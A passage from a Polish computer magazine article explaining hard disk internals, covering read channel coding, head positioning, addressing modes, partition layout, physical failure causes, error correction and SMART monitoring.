nie na tyle tanie, że uzyskiwane dzię-
ki nim zwiększenie gęstości zapisu z
nawiązką  wyrównuje  nieco  wyższy
koszt wbudowanej w dysk elektroniki

PRML (Partial Response

Maximum Likelihood)

Większość napędów jeszcze do nie-
dawna podczas odczytu danych uży-

Rysunek 2.

Przepływ prądu w

głowicy

GŁOWICA

Prąd zapisu płynący

w uzwojeniu

głowicy

Dyski Twarde

hakin9 Nr 3/2007

www.hakin9.org

wała  techniki  zwanej  peak  detection
(wykrywanie  wartości  ekstremalnych
–  maksimum  siły  sygnału).  W  miarę
wzrostu  gęstości  zapisu  rozróżnienie
sąsiednich  wartości  szczytowych  sy-
gnału  od  siebie  nawzajem  i  od  tzw.
tła stawało się coraz trudniejsze. Pro-
blem  ten  rozwiązywano  wstawiając
pomiędzy sąsiadujące szczyty (jedyn-
ki)  rozdzielające  chwile  ciszy  (zera).
Takie  postępowanie  sprowadzało  się
do  kodowania  zerojedynkowych  cią-
gów za pomocą ciągów bardziej przej-
rzystych,  czyli  łatwiej  identyfikowal-
nych,  lecz  z  konieczności  dłuższych.
To oczywiście obniżało efektywną gę-
stość zapisu danych, a w konsekwen-
cji także wydajność napędu.

Z pomocą przyszła opracowana

na  potrzeby  długodystansowej  ko-
munikacji  w  przestrzeni  kosmicznej
technologia  PRML  (Partial  Respon-

se  Maximum  Likelihood).  Pochodzą-
cy  z  głowicy  odczytującej  analogo-
wy  sygnał  jest  próbkowany  w  wie-
lu miejscach, a następnie cyfrowo fil-
trowany przez wbudowany w elektro-
nikę dysku dedykowany procesor sy-
gnałowy  DSP.  Uzyskaną  w  ten  spo-
sób próbkę analizuje się algorytmem
Viterbi. Sprawdza on wszystkie kom-
binacje danych, które mogły wygene-
rować zbliżony ciąg i wybiera tę naj-
bardziej  prawdopodobną.  Umożliwia
to  dodatkowe  zwiększenie  czułości
kanału  odczytu  i  istotne  zmniejsze-
nie prawdopodobieństwa wystąpienia
błędów odczytu. Najlepsze efekty da-
je połączenie technologii PRML z ma-
gnetorezystywną  głowicą  odczytują-
cą ze względu na dobrą jakość gene-
rowanego przez nią sygnału analogo-
wego.  Głowica  magnetorezystywna

(MRH) wykorzystuje inne zjawisko fi-
zyczne niż głowice, zbliżone konstruk-
cją do stosowanych w zwykłych ma-
gnetofonach. Element czytający MRH
jest wykonany z substancji zmieniają-
cej opór w polu magnetycznym, więc
namagnesowanie  nośnika  bezpo-
średnio  rzutuje  na  natężenie  płyną-
cego przez głowicę MR prądu. Istot-
ną  zaletą  technologii  MR  jest  więk-
sza czułość, pozwalająca na radykal-
ne zwiększenie gęstości zapisu, czy-
li wzrost pojemności napędu przy za-
chowaniu jego rozmiarów.

PRML oznacza także inną meto-

dę kodowania danych na dysku: o ile
przejście ze starej metody MFM (Multi-

ple Frequency Modulation) na bardziej
zaawansowaną RLL (Run Length Li-

mited) oznaczało wzrost upakowania
danych o około 50%, PRML daje tu
kolejne 20-40% zysku (różne źródła
podają różne wartości).

Nawigacja – ramię głowicy

Kiedyś na potrzeby nawigacji zarezer-
wowana była cała jedna powierzchnia
dysku, na której zapisane były znacz-
niki ścieżek i sektorów dla pozosta-
łych głowic. System taki nazywał się

dedicated  servo,  a  głowica  musiała
w nim regularnie korzystać ze ścieżki
sterującej, aby zoptymalizować swoją
pozycję. Dzisiejsze napędy posługują
się technologią embedded servo, któ-
ra  wykorzystuje  informacje  sterujące
zapisane na każdej ścieżce. Znaczni-
ki umieszczone są na powierzchniach
roboczych i przemieszane z obszara-
mi danych. W celu uniknięcia błędów
odczytu  głowica  musi  znajdować  się
dokładnie nad środkiem danej ścież-
ki. Umieszczenie znaczników pośród

obszarów  danych  pozwala  głowicy
zapisująco  –  odczytującej  korzystać
z nich przez cały czas, co umożliwia
dokładniejsze  pozycjonowanie.  Ra-
mię dysku często jest kojarzone z ra-
mieniem gramofonu, jednak takie sko-
jarzenie  nie  jest  zasadne.  Podczas
gdy ramię gramofonu było prowadzo-
ne przez ścieżkę zapisu na płycie, to
z ramieniem głowic dysku jest zupeł-
nie inaczej – musi ono być ustawione
tak,  by  głowice  znalazły  się  nad  od-
czytywaną  właśnie  ścieżką  (czy  ra-
czej  –  na  odczytywanym  cylindrze).
W  pierwszych  konstrukcjach  dysków
sztywnych pozycjonowanie głowic by-
ło realizowane przez mechanizm na-
pędzany silnikiem krokowym (rozwią-
zanie takie jest do dziś stosowane w
napędach dyskietek). W miarę wzro-
stu wymagań szybkościowych stoso-
wano inne rozwiązania, spośród któ-
rych optymalnym jak na razie okaza-
ło się voice coil, czyli układ magneto-
dynamiczny,  wzorowany  na  tym,  ja-
ki stosuje się w głośnikach (stąd na-
zwa)  –  umieszczona  w  polu  silnego
magnesu stałego cewka porusza się
zgodnie  z  przepływającym  przez  nią
prądem,  ustawiając  w  odpowiedniej
pozycji związane z nią mechanicznie
ramię  głowic  dysku.  Technika  ta  po-
zwoliła  na  zmniejszenie  czasu  pozy-
cjonowania głowic na zadanej ścieżce
z  kilkudziesięciu  do  kilku  milisekund,
a przy przejściach pomiędzy kolejny-
mi ścieżkami nawet poniżej jednej mi-
lisekundy.

Niektóre firmy stosują technolo-

gię  Read  on  Arrival,  wykorzystującą
mechanizm  korekcji  błędów  –  pierw-
sza próba odczytu podejmowana jest
jeszcze zanim głowica ustabilizuje się
nad  żądaną  ścieżką;  albo  próba  się
powiedzie,  albo  skutecznie  zadziała
mechanizm korekcji błędu odczytu, w
najgorszym przypadku trzeba będzie
ponowić odczyt – nic do stracenia, a
można zyskać cenne milisekundy.

Oscylacja ramienia

względem czasu

Zapis  na  dysku  dokonywany  jest  w
formie  koncentrycznych  ścieżek,
podzielonych  na  sektory.  Dość  ta-
jemnicze  pojęcie  cylinder,  wystę-
pujące  w  opisie  parametrów  dys-

Rysunek 3.

Zapisywane dane

NRZ

MFM

RLL

Komórka bitowa

Dane zapisywane

hakin9 Nr 3/2007

www.hakin9.org

Sprzęt

ku  i  nieznajdujące  bezpośredniego
odbicia  w  jego  konstrukcji,  to  gru-
pa  ścieżek  o  tym  samym  numerze
na  wszystkich  powierzchniach  ro-
boczych.

Talerze dysku

Współczesne  dyski  charakteryzują
się  gęstością  rzędu  10  gigabita  na
cal kwadratowy. Przy tej gęstości na
jednym calu długości ścieżki mieści
się  240  tysięcy  bitów,  na  jeden  cal
promienia dysku przypada 21 tysię-
cy  ścieżek,  a  jeden  bit  zajmuje  po-
wierzchnię  1,2  na  0,1  mikrometra
(przekrój ludzkiego włosa zmieściłby
około 1000 bitów). Dzięki doskonale-
niu technologii GMR (Giant Magne-
toresistive Effect) naukowcy przewi-
dują osiągnięcie gęstości 20 Gb na
cal kwadratowy.

Schematyczny

obraz dysku twardego

Typowy dysk twardy składa się z kil-
ku talerzy o wymiarach 5 1/4 cala lub
3  1/2  cala  jego  wymiar  nie  jest  jed-
nak  równie  ważnym  czynnikiem  jak
w  przypadku  stacji  dysków  elastycz-
nych.  Talerze  dysków  twardych  są
niewymienne,  zaś  instalacja  dysku  3
1/2 calowego w miejscu konstrukcyj-
nie przewidzianym na dysk 5 1/2 calo-
wy jest łatwa. Każdy talerz zbudowa-
ny jest z metalu o grubości zwykle 1/8
cala,  pokrytego  substancją  magne-
tyczną,  tzw.  media.  Najpopularniej-
szymi  substancjami  magnetycznymi
są  związki  zawierające  tlenek  żela-
za.  Warstwa  magnetyczna  tworzona
jest w procesie, w którym krążki alu-
minium zostają pokryte pastą zawie-
rającą cząstki tlenku żelaza.

Obracające się z dużą szybko-

ścią  talerze  powodują  równomierne
rozłożenie  tej  substancji  na  dysku.
Powierzchnia jest następnie polero-
wana i pokrywana warstwą ochron-
ną.  Ostatecznie  osiąga  grubość  30
milionowych  części  cala.  Wraz  ze
wzrostem  gęstości  zapisu  powłoka
magnetyczna  powinna  być  cieńsza
i lepszej jakości, większej trwałości,
niezawodności  i  niewielkim  współ-
czynniku  dziur  magnetycznych  no-
śnika,  tzw.  drop-outów.  Cienki  no-
śnik  umożliwia  mniejszą  wysokość

zawieszenia głowicy, a tym samym
większą gęstość zapisu.

Dysk twardy firmy

Quantum

Tradycyjnie  w  komputerze  PC  AT
adresowanie  dysku  przez  przerwa-
nie 13 BIOS-u (INT 13) odbywało się
za  pomocą  trzech  parametrów:  cy-
lindra,  głowicy  i  sektora  (tzw.  adre-
sowanie CHS od słów Cylinder, He-
ad,  Sector).  Konwencjonalne  funk-
cje INT 13 używały 24 bitów do re-
prezentacji adresów, zatem możliwe
było  jedynie  zaadresowanie  obsza-
ru  o  pojemności  8,4  GB  (224×512
bajtów/sektor=8,4 GB). W celu prze-
kroczenia  tej  granicznej  wartości
producenci  wprowadzili  dwa  now-
sze sposoby adresowania (stosowa-
ne  właśnie  w  dzisiejszych  dyskach)
adresowania.  Pierwszy  polegał  na
rozszerzeniu  reprezentacji  adresu
w  konwencji  CHS  do  32  bitów,  dru-
gi – częściej stosowany – używał zu-
pełnie  odmiennej  metody  noszącej
nazwę  LBA.  W  metodzie  LBA  (Lo-
gical  Block  Addressing)  stosowane
jest  adresowanie  28-bitowe,  co  po-
zwala na zaadresowanie obszaru do
pojemności  wynoszącej:  228×512
bajtów/sektor=137,4  GB.  Ten  wła-
śnie  tryb  adresowania  jest  zaleca-
ny i zaimplementowany w BIOS-ach
większości dzisiejszych pecetów.

Opis CHS (cylinder/head/sector)

sprawdzał się bardzo dobrze w cza-
sach, gdy całością procesu zapisu i
odczytu danych zarządzała jednost-
ka centralna przy współudziale dość
prymitywnego sterownika.

Nietrudno jednak zauważyć, że

całkowita  długość  pierwszej,  najbar-
dziej  zewnętrznej  ścieżki  jest  znacz-
nie  większa  od  długości  ostatniej,
najbliższej  osi  talerza.  Liniowa  gę-
stość zapisu jest stała dla wszystkich
ścieżek (po prostu – maksymalna), a
przy  stałej  liczbie  sektorów  na  każ-
dej  kolejnej  ścieżce  (licząc  od  ostat-
niej  do  pierwszej)  marnowałaby  się
coraz większa ilość miejsca. Dlatego
już  od  dość  dawna  stosuje  się  tech-
nikę MZR (Multiple Zone Recording),
maksymalnie wykorzystującą dostęp-
ną powierzchnię talerzy. W początko-
wym okresie stosowania MZR prakty-

kowano technikę przeliczania geome-
trycznej  lokalizacji  danych  na  logicz-
ne  parametry  systemu  CHS.  Wyma-
gało  to  dość  kłopotliwego,  ręcznego
wprowadzania parametrów przelicze-
niowych  konkretnych  modeli  dysków
do pamięci konfiguracji systemu (tzw.

Setup). Od problemu indywidualnych
parametrów dysków uwolniły nas do-
piero:  z  jednej  strony  rozwój  interfej-
su ATA, dzięki, któremu system był w
stanie samodzielnie odczytać z dysku
i przyjąć do wiadomości przeliczenio-
we parametry, z drugiej zaś – wprowa-
dzenie do BIOS-u funkcji obsługi try-
bu  LBA  (Logical  Block  Addressing),
uniezależniającego  adresowanie  da-
nych na dysku od ich fizycznej loka-
lizacji na nim.

MZR – Multiple Zone

Recording – zapis

wielostrefowy

Nietrudno  zauważyć,  że  w  wyni-
ku  podziału  każdej  ścieżki  na  stałą
liczbę  sektorów,  sektory  znajdujące
się  dalej  od  osi  dysku  będą  znacz-
nie  dłuższe  (długość  sektorów  we-
wnętrznych jest ograniczona od do-
łu  maksymalnym  upakowaniem  bi-
tów  na  jednostkę  powierzchni).  Aby
zapobiec  ewidentnemu  marnotraw-
stwu miejsca, podzielono dysk na kil-
ka stref o określonej liczbie sektorów
(od 60 do 120 sektorów na ścieżkę),
coraz większej dla stref bliższych ob-
wodowi dysku. Zysk jest oczywisty (o
około 25% większa pojemność i wy-
dajność),  przy  okazji  wychodzi  na
jaw drobne oszustwo: jak to się ma
do liczby sektorów na ścieżkę dekla-
rowanej w Setupie BIOS? BIOS mó-
wi swoje, a elektronika dysku po ci-
chu  dokonuje  przeliczeń.  Mało  te-
go, wewnątrz dysku dzieje się jesz-
cze coś, o czym ani użytkownik, ani
system operacyjny nie mają zielone-
go pojęcia. Chodzi mianowicie o sys-
tem obsługi błędów. Oczywiście, da-
ne zapisywane na dysku wyposażo-
ne są w dodatkowe informacje umoż-
liwiające  funkcjonowanie  systemu
korekcji w locie (ECC on the fly, ko-
dowanie Reed-Solomon itd). Oprócz
tego jednak, na każdej ścieżce zare-
zerwowana  jest  pewna  liczba  sek-
torów,  które  w  przypadku  pojawie-

Dyski Twarde

hakin9 Nr 3/2007

www.hakin9.org

nia się fizycznych uszkodzeń nośni-
ka podstawiane są przez wewnętrz-
ny mikroprocesor napędu w miejsce
sektorów  wadliwych  –  dzieje  się  to
całkowicie niezauważalnie dla świa-
ta  zewnętrznego.  Notabene,  we-
wnętrzne  układy  mikroprocesoro-
we,  w  które  wyposażone  są  współ-
czesne napędy, mają moc przetwa-
rzania porównywalną z co najmniej z
IBM PC/AT.

Obszary dysku

Aby komputer mógł wczytywać i uru-
chamiać system operacyjny, najważ-
niejsze  informacje  o  strukturze  da-
nych  muszą  się  znajdować  w  ści-
śle  zdefiniowanym  miejscu  na  po-
wierzchni  nośnika.  W  pierwszym
sektorze  dysku  (cylinder  0,  głowica
0,  sektor  1)  zlokalizowany  jest  Ma-

ster  Boot  Record.  BIOS  kompute-
ra znajdzie tu program, który odpo-
wiedzialny jest za wczytanie sektora
startowego (bootsektora) z aktywnej
partycji dysku. Informacja, która par-
tycja jest aktywna, umieszczona jest
w tablicy partycji. Tablica ta znajduje
się podobnie jak MBR w pierwszym
sektorze  dysku,  który  kończy  się
właśnie na niej. Pozostały fragment
ścieżki  0  w  cylindrze  0  jest  pusty.
Można  w  nim  umieścić  BOOT-MA-
NAGERA  (program  wybierający,  ja-
ki system operacyjny uruchomić). Tu
zagnieżdżają się również wirusy bo-
otsektora.

Partycja główna rozpoczyna się

w  miejscu  o  współrzędnych:  cylin-
der 0, głowica 1, sektor 1, a kończy
się zawsze w miejscu dowolnego cy-
lindra.  Pierwszym  sektorem  party-
cji  głównej  jest  sektor  startowy.  Od
drugiego sektora zaczyna się tablica
przydzieleń zbiorów, tuż za nią znaj-
duje się jej awaryjna kopia.

Partycja rozszerzona zaczyna się

zawsze na granicy cylindrów – np. z
początkiem cylindra X (

X>0

), przy

głowicy 0 i w sektorze 1. W odróżnie-
niu od partycji głównej, partycja roz-
szerzona nie posiada sektora starto-
wego, lecz zaczyna się od razu od
tablicy partycji, której pierwszy wpis
oznacza pierwszy napęd logiczny na
tej partycji. Drugi wpis odsyła z kolei
do partycji rozszerzonej, która stano-

wi kolejny napęd logiczny, i tak dalej,
aż zostaną po przydzielane wszyst-
kie napędy logiczne.

Dysk – awarie

Niezawodność  współczesnych  dys-
ków  twardych  wyraża  się  obecnie
średnim  czasem  międzyuszkodze-
niowym rzędu miliona godzin. Z po-
zoru wydaje się to bardzo wiele, ale,
gdy się bliżej przyjrzeć, bezpieczeń-
stwo danych na dysku twardym jest
co  najmniej  iluzoryczne.  Milion  go-
dzin  to  przeszło  114  lat.  Współ-
czynnik  MTBF  (Mean  Time  Betwe-
en  Failures)  wynoszący  milion  go-
dzin oznacza nie tylko, że dysk po-
winien pracować bezawaryjnie przez
tyle czasu – w uproszczeniu oznacza
to, że spośród 1000 dysków w ciągu
bieżącego  roku  przeszło  8  ma  pra-
wo ulec awarii! A jeśli nawet założy-
my,  że  dyski  pracują  zaledwie  po  8
godzin dziennie, to i tak wśród tysią-
ca dysków musimy się liczyć z blisko
trzema awariami w ciągu roku.

Awarie dysku mają różny charak-

ter.  Może  to  być  uszkodzenie  ukła-
dów  zapisu  i  odczytu  –  w  tym  zło-
żonej elektroniki dysku, awaria ukła-
du napędowego czy układu pozycjo-
nowania  głowic,  a  wreszcie,  co  jest
najczęściej  spotykane,  mechanicz-
ne uszkodzenie nośnika magnetycz-
nego na powierzchni któregoś z ta-
lerzy. Wszystkie dzieła ludzkiego ge-
niuszu mają ograniczoną niezawod-
ność.  Zastanawia  jednak  fakt  –  w
jaki  sposób  powstają  mechaniczne
uszkodzenia  powierzchni  dysku,  je-
śli  głowice  nie  dotykają  bezpośred-
nio tych powierzchni?

Mimo relatywnie dużych rozmia-

rów, dyski twarde stanowią arcydzie-
ła mechaniki precyzyjnej. Przy typo-
wej gęstości zapisu, szerokość poje-
dynczej ścieżki zapisu wynosi zale-
dwie ok. 0,01 mm. Szerokość głowi-
cy odczytującej, wykonanej jako ele-
ment  magnetorezystywny,  wynosi
ok. 80% szerokości ścieżki – to od-
powiada ostrzu nieco tylko stępionej
żyletki! Każde dotknięcie powierzch-
ni  dysku  przez  głowicę  odpowiada
dotknięciu  takim  właśnie  ostrzem.
Warstwa  nośnika  magnetycznego
na  powierzchniach  talerzy  dysków

pokryta  jest  bardzo  cienką  warstwą
lakieru  ochronnego.  W  normalnych
warunkach  eksploatacji  twardość
powierzchni  ochronnej  najzupełniej
wystarcza  –  start  i  lądowanie  gło-
wic wiążą się co prawda z przesuwa-
niem ich po powierzchni talerza, ale
występujące naciski są za małe, by
zarysować  powierzchnię  ochronną.
Podczas pracy dysku głowice prze-
suwają się nad powierzchnią talerzy
na poduszce powietrznej o wysoko-
ści  kilkunastu  mikrometrów,  wytwa-
rzanej  dzięki  ruchowi  talerzy,  a  do-
puszczalne nierówności powierzchni
nie przekraczają 10% wysokości lo-
tu głowicy. W takich warunkach no-
śnik dysku nie ma prawa ulec uszko-
dzeniu.

Panuje powszechne przekona-

nie, że dysk, w czasie, gdy pracuje,
jest odporny na wstrząsy i uderzenia.
Tymczasem, co może być zaskaku-
jące,  źródłem  większości  uszko-
dzeń  powierzchni  roboczych  dys-
ku są właśnie wstrząsy i uderzenia,
których napęd doznał w stanie spo-
czynku. W stanie spoczynku głowice
leżą na wydzielonych obszarach po-
wierzchni talerzy, zwanych strefą lą-
dowania  (landing  zone),  przyciśnię-
te  do  powierzchni  przez  odpowied-
ni  układ  sprężysty  ramienia  głowi-
cy.  Cóż  się  stanie,  jeśli  taki  zapar-
kowany dysk dozna silnego, krótko-
trwałego  wstrząsu?  Głowica  ode-
rwie  się  od  powierzchni,  wyginając
sprężyste ramię, a następnie, w wy-
niku jego drgań, kilkakrotnie uderzy
w  powierzchnię,  za  każdym  razem
odbijając się od niej. Zwracam uwa-
gę na fakt, że głowica w takiej sytu-
acji nie uderza swoją powierzchnią,
ale krawędzią! Twarda powierzchnia
ochronna jest, niestety, zbyt krucha,
by mogła to przy silniejszych wstrzą-
sach  wytrzymać  –  uderzająca  gło-
wica  odłupuje  drobne  fragmenty
ochronnego lakieru.

Wydawać by się mogło, że nawet

ewentualne uszkodzenie powierzchni
w strefie lądowania nie powinno spo-
wodować  obniżenia  sprawności  dys-
ku – przecież w tym obszarze nie ma
żadnych  danych.  Rzeczywiście,  ale
powstałe  tam  drobne  okruchy  ma-
teriału  przemieszczają  się,  wraz  z

hakin9 Nr 3/2007

www.hakin9.org

Sprzęt

powietrzem,  po  całym  wnętrzu  na-
pędu. Są drobne, ale i tak wielokrot-
nie  większe  od  grubości  poduszki
powietrznej,  unoszącej  głowicę.  Je-
śli  któryś  z  nich  dostanie  się  pomię-
dzy  głowicę,  a  powierzchnię  wirują-
cego talerza, następują kolejne drga-
nia głowicy i jej ramienia oraz kolejne
uderzenia głowicy – tym razem już w
roboczą powierzchnię dysku! Oprócz
uszkodzeń powierzchni, na tyle drob-
nych, że układy korekcji błędów wbu-
dowane w elektronikę dysku, poradzą
sobie z powodowanymi przez nie błę-
dami, powstają jeszcze nowe okruchy.
Im jest ich więcej, tym częściej zda-
rza  im  się  wpadnięcie  pod  głowicę  i
tym  częściej  powstają  nowe  uszko-
dzenia i nowe drobiny. Proces degra-
dacji wartości użytkowej dysku postę-
puje lawinowo, tym bardziej, że przy
uszkodzonej powierzchni strefy lądo-
wania przy każdym starcie i lądowa-
niu głowicy mogą powstawać kolejne
uszkodzenia.

Na jakiego rodzaju wstrzą-

sy  narażony  jest  dysk  od  momen-
tu opuszczenia taśmy produkcyjnej,
do chwili, kiedy trafi do komputera?
Co mu grozi po drodze, a czym mo-
żemy  mu  zaszkodzić  sami?  Odpo-
wiedzi  na  te  pytania  może  w  pew-
nym  stopniu  dostarczyć  zamiesz-
czony rysunek – wynika z niego, że
dysk  zamontowany  w  komputerze
jest  względnie  bezpieczny,  nawet
upuszczenie  komputera  na  twarde
podłoże  nie  powinno  spowodować
poważniejszych szkód.

Dużym zagrożeniem dla dys-

ku  jest  również  sam  proces  monta-
żu komputera. W tej fazie łatwo na-
bawić się kłopotów na przyszłość. O
uderzenie  metalowym  narzędziem
wcale  nietrudno  –  wystarczy  ob-
sunięcie  ręki,  uderzenie  dyskiem  o
konstrukcję  obudowy  też  może  się
zdarzyć.  A  jeśli  ktoś  ma  pecha,  to
i o upadek dysku na twarde podłoże
wcale nietrudno. Wszystkie te gwał-
towne  zdarzenia  dysk  znosi  pozor-
nie bez szwanku – po zmontowaniu
komputera działa poprawnie i nic nie
wskazuje na to, by cokolwiek mu do-
legało.

Uszkodzenia, których źródłem

są  wstrząsy,  jakich  doznał  dysk  w
czasie  między  wyprodukowaniem
a  zamontowaniem  w  komputerze,
stanowią według danych producen-
tów  przyczynę  około  40%  wszyst-
kich awarii dysków twardych i prze-
szło  90%  uszkodzeń  powierzch-
ni  dysków.  Lekarstwem  na  to  stały
się pewne zmiany w konstrukcji dys-
ków,  zmierzające  do  ograniczenia
tego  typu  uszkodzeń.  Zmiany  te  w
większości przypadków sprowadza-
ją  się  do  odpowiednich  rozwiązań
konstrukcyjnych  –  najważniejsze
jest  tu  wyeliminowanie  drgań  gło-
wicy i jej wielokrotnego uderzania o
powierzchnię po wstrząsie. Tego ro-
dzaju rozwiązaniem jest, stosowany
przez  firmę  Quantum,  SPS  (Shock

Protection  System).  Również  in-
ni  producenci  od  pewnego  czasu
zwracają  uwagę  na  bezpieczeń-
stwo dysku w czasie między opusz-
czeniem taśmy produkcyjnej a zain-
stalowaniem  w  komputerze,  stosu-
jąc własne rozwiązania, jak np. Se-

aShield Seagate.

Obecnie stosuje się narzędzia,

które sprawdzają stan dysku. Waż-
ną ich cechą jest zdolność do wyko-
rzystywania  w  celach  diagnostycz-
nych specjalnych procedur, wbudo-
wanych  w  oprogramowanie  napę-
dów. Przy bardzo skutecznych me-
chanizmach  korekcji  błędów,  jakie
są  stosowane  w  układach  odczy-
tu,  drobniejsze  uszkodzenia  pozo-
stawałyby niezauważone – dopiero
uszkodzenie  uniemożliwiające  po-
prawny  odczyt  mogłoby  zostać  za-

rejestrowane.  Należy  zwrócić  uwa-
gę  na  fakt,  że  eliminowanie  wadli-
wych sektorów nie usuwa przyczyn
ich  uszkodzenia  –  jeśli  wewnątrz
obudowy  znalazły  się  luźne  okru-
chy z uszkodzonych powierzchni, to
proces  niszczenia  będzie  postępo-
wał.  Dlatego  większość  wspomnia-
nych  systemów  stosuje  statystycz-
ną ocenę liczby wykrytych mikrode-
fektów, umożliwiającą, przy regular-
nym  stosowaniu  programu  testują-
cego, dość efektywną ocenę aktual-
nego stanu dysku i jego perspektyw
na przyszłość.

Samonaprawiające się

dyski

Każda usterka sprzętu, którego uży-
wamy,  wywołuje  u  nas  marzenia  o
urządzeniach,  które  powiadamiały-
by  nas  o  tym,  że  wystąpiła  awaria,
a  jeszcze  lepiej  –  same  się  napra-
wiały. Nawet nie wiemy, że to już nie
marzenia,  ale  rzeczywistość,  przy-
najmniej  jeżeli  chodzi  o  dyski  twar-
de.  Najnowsze  osiągnięcia  w  dzie-
dzinie  technologii  dysków  twardych
sprawiają, że napędy dyskowe uzy-
skują zdolność nie tylko do monitoro-
wania własnej sprawności, lecz tak-
że samonaprawiania się w przypad-
ku typowych usterek.

Algorytm ECC

W  dysku  twardym  dane  cyfrowe  są
zapisywane  na  talerzu  magnetycz-
nym, a potem odczytywane, zasad-
niczo w postaci analogowej. Podob-
nie jak przy każdym nośniku analo-
gowym, danym zapisanym na dysku
towarzyszą szumy tła, a sam nośnik
jest  podatny  na  uszkodzenia  fizycz-
ne. Rozpoznanie faktu, że dane zo-
stały  uszkodzone  oraz  podjęcie  ja-
kichkolwiek  działań  naprawczych
jest możliwe dzięki temu, że z zasa-
dy  do  zapisywanej  informacji  doda-
je się pewną informację dodatkową,
która jest uzależniona od zawartości
informacji oryginalnej.

W dyskach twardych stosuje się

zaawansowane metody obliczania i
kodowania sum kontrolnych, okre-
ślane jako ECC (Error Correcting

Codes – kody korygujące błędy).
Chociaż teoria z tym związana jest

Rysunek 4.

Kluczowe obszary

dysku

MBR

Boot sektor pierwszej partycji

Partycja pierwsza

Boot sektor drugiej partycji

Partycja druga

Dyski Twarde

ogromnie skomplikowana, w prakty-
ce wyznaczenie kodu korekcyjnego
dla  danych  można  w  miarę  prosto
zrealizować za pomocą sprzętu lub
oprogramowania.  Dzięki  dobremu
algorytmowi  ECC  możliwe  jest  nie
tylko  wykrywanie  błędów,  lecz  tak-
że  odtworzenie  uszkodzonej  infor-
macji.  Obliczanie  kodu  korekcyjne-
go  wchodzi  w  skład  procesu  odzy-
skiwania  danych,  w  którym  ponad-
to stosuje się takie techniki, jak wie-
lokrotny odczyt przy kolejnych obro-
tach  talerza  z  drobnymi  zmianami
parametrów  odczytu,  co  daje  róż-
ne kąty widzenia uszkodzonych da-
nych. Wszystkie te sztuczki pozwa-
lają na odczytanie danych z sekto-
ra,  który  nie  nadaje  się  do  dalsze-
go użytku.

Sektory na zapas

Dyski twarde zawierają pewną licz-
bę zapasowych sektorów, które nie
są bezpośrednio dostępne dla użyt-
kownika, lecz służą do zastępowa-
nia  wadliwych  sektorów  wykrytych
na dysku. Gdy jeden z zapasowych
sektorów  zostanie  zablokowany  w
zastępstwie  sektora  uszkodzone-
go, z punktu widzenia użytkownika
dysku wygląda to tak, jakby uszko-
dzenie  zostało  naprawione.  Jeżeli

wszystkie uszkodzone sektory są
odwzorowywane na dobrych sekto-
rach zapasowych, to dysk z punktu
widzenia użytkownika jest całkowi-
cie sprawny. Alokacja zapasowych
sektorów może odbywać się z wy-
przedzeniem, w miarę zużywania
się dysku.

Metoda ta polega na tym, że

podczas odczytu bloku danych układ
elektroniczny,  odpowiedzialny  za
ECC,  dokonuje  inteligentnej  analizy
jakości  sektora.  W  niektórych  przy-
padkach dane zostają zapisane nie-
prawidłowo  –  na  przykład  wskutek
mechanicznego  wstrząsu  napędu
podczas zapisu – i wówczas całko-
wita naprawa sprowadza się jedynie
do  ponownego  zapisu  tych  samych
danych.  Jeżeli  jednak  analiza  po-
dejrzanego sektora wykazuje, że nie
zapewnia on należytej niezawodno-
ści,  wówczas  układ  sterowania  na-
pędu może podjąć decyzję wykorzy-
stania sektora zapasowego i zapisa-
nia w nim odzyskanych danych.

SMART – przewidzieć

awarię dysku

SMART oznacza Self Monitoring

And  Reporting  Technology  (techno-
logia  samoczynnego  monitorowania
i  powiadamiania).  Jest  to  uporząd-

kowana metoda wykonywania przez
napęd  dyskowy  analiz  statystycz-
nych  własnego  funkcjonowania,  do-
konywania  na  tej  podstawie  inteli-
gentnych przewidywań co do zbliża-
jących  się  awarii  oraz  powiadamia-
nia o tym użytkownika.

Rysunek 5.

Uderzenia głowicy o

nośnik

Uderzenie głowicy o nośnik

"Podskok" głowicy ...

... i co z tego wynikło!

hakin9 Nr 3/2007

www.hakin9.org

Sprzęt

SMART wykorzystuje nadmiaro-

wą moc obliczeniową procesora na-
pędu  dyskowego  i  prowadzi  analizę
rozmaitych  parametrów  operacyj-
nych,  takich  jak  stopa  błędów,  licz-
ba  powtórzeń,  częstość  realokacji
uszkodzonych sektorów, cykle startu
– stopu itd. Informacja ta jest zbiera-
na i poddawana obróbce statystycz-
nej na podstawie znanych charakte-
rystyk operacyjnych sprawnego dys-
ku. W ten sposób uzyskuje się możli-
wość ostrzeżenia z wyprzedzeniem,
że zbliża się awaria dysku.

Chociaż obecnie nie ma sposo-

bu,  by  technologia  SMART  pozwo-
liła  przewidzieć  nagłą  awarię  do-
tychczas zupełnie sprawnego dysku,
to  jednak  zapewnia  ona  skuteczne
ostrzeganie o zbliżającej się awarii w
około 30 do 40 procentach przypad-
ków.  Aby  można  było  skorzystać  z
technologii SMART, w systemie mu-
si  zostać  zainstalowany  odpowiedni
agent (program obsługi).

Odzyskiwanie danych w nowocze-

snych napędach dyskowych jest bar-
dzo  sprawne  –  napęd  zasygnalizuje
błąd odczytu dopiero po wyczerpaniu
daleko idących środków zaradczych.
Możliwość  alokacji  zapasowych,  do-
brych sektorów na miejsce uszkodzo-
nych oznacza, że usterki – które w in-
nym  wypadku  byłyby  klasyfikowane
jako awarie dysku – mogą być aktyw-
nie  kontrolowane,  dzięki  czemu  wy-
dłuża się użyteczny czas eksploatacji
urządzenia.  SMART  zapewnia  pro-
gnozowanie możliwych awarii dysku,
dzięki czemu dane z dysku o pogar-
szającej się jakości mogą być zapisa-
ne w kopii zapasowej, a dysk wymie-
niony, zanim dojdzie do katastrofalnej
utraty danych.

Wszystkie te mechanizmy opie-

rają się jednak na zdolności napędu
do właściwego reagowania na uster-
ki przez korekcję błędów, realokację
sektorów oraz analizę i rejestrowanie
wyników. Działania takie mogą doty-
czyć tylko tych części dysku, które
są użytkowane, a wskutek tego stan
znacznej części powierzchni dysku
może przez długi czas być nieznany,
a wtedy błędy skądinąd możliwe do
naprawienia stopniowo stają się co-
raz poważniejsze, zaś analizy staty-

styczne prowadzone przez SMART
zostają zafałszowane.

Nowoczesna

technologia

Ciągle  jeszcze  w  każdym  kompute-
rze  PC  znaleźć  można  stację  dys-
kietek.  Ich  zawrotna  jak  na  dzisiej-
sze czasy pojemność (1,44 MB) jest
już prawie całkowicie niewystarcza-
jąca.  Mimo  że  producenci  zasypu-
ją  użytkowników  coraz  to  nowszy-
mi rozwiązaniami, to ciągle jesteśmy
skazani  na  używanie  owego  reliktu
przeszłości jakim jest poczciwa sta-
cja dyskietek.

Wydawałoby się, że rozwiąza-

